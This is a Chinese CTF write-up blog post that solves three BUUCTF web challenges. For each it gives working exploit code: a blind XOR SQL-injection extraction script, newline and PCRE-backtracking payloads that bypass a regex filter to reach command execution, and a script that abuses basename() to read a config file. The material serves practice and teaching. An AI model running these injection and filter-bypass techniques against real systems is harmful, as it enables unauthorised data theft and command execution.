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BUU刷题记录

2022-08-11 02:15:00 【[email protected]】

写在前面：这个文章的知识点包括 sql注入中的异或盲注、preg_match的绕过（%0a绕过，prce限制）、basename去掉ascii码字符的情况

[WUSTCTF2020]颜值成绩查询

参数存在sql注入，盲注脚本如下，注意请求太快buu的平台返回429，需要设置延时

import requests
import time

url= 'http://1f6bef5c-fe5a-4e4d-9741-1f59183152b6.node4.buuoj.cn:81/'

database =""

payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为ctf
payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"#表名为flag,score
payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" #列名为flag,value
payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1" #
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        # payload = payload1.format(i,mid) #查库名
        # payload = payload2.format(i,mid) #查表名
        # payload = payload3.format(i,mid) #查列名
        payload = payload4.format(i,mid) #查flag

        new_url = url + payload
        r = requests.get(new_url)
        print(new_url)
        if "Hi admin, your score is: 100" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) //2
        time.sleep(0.5)
    if (mid == 32 or mid == 132):
        break
    database +=chr(mid)
    print(database)

print(database)

[FBCTF2019]RCEService

buu上的题目没有给源码，看wp的源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
    
    $json = $_REQUEST['cmd'];

    if (!is_string($json)) {
    
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;[email protected]\[-`|~\x7F]+).*$/', $json)) {
    
        echo 'Hacking attempt detected<br/><br/>';
    } else {
    
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
    
            system($cmd);
        } else {
    
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}

?>

putenv('PATH=/home/rceservice/jail'); //设置了环境变量中的路径，之后使用cat 等命令要用绝对路径 /bin/cat

之后就是preg_match绕过

%0a绕过

?cmd={
    "cmd":"/bin/cat /home/rceservice/flag"%0a}%0a%0a
?cmd=%0a{
    "cmd":"/bin/cat /home/rceservice/flag"%0a}

回溯绕过

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","y3":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text # 因为题目使用的是request，需要使用post来传递数据，因为对get方式来说数据太大
print(r)

[Zer0pts2020]Can you guess it?

题目给了源码

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
    
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
    
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) {
     ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

源码提示了flag在config.php中。源码中的漏洞点在basename函数位置

前置知识：

$_SERVER['PHP_SELF'] 表示当前php文件相对于网站根目录的地址

网址的组成如下
http://$_SEVER['HOST'].$_SEVER['PHP_SELF']

basename()函数
在这里插入图片描述

basename函数存在一个问题，会将非ascii码字符丢掉不进行处理，这个地方可以用来绕过正则表达式

可以构造payload如下

index.php/config.php/%ff?source=

import time
import requests
import re
for i in range(0,256):
    url ='http://c653a7a5-1ac6-4d58-a943-1791245be0a3.node4.buuoj.cn:81/index.php/config.php/{}?source'.format(chr(i))
    print(url)
    r = requests.get(url)
    time.sleep(0.5)
    flag = re.findall("flag\{.*?\}", r.text) # 正则的findall匹配,会匹配到flag
    if flag:
        print(flag) # 输出flag，以列表的形式
        # break
        continue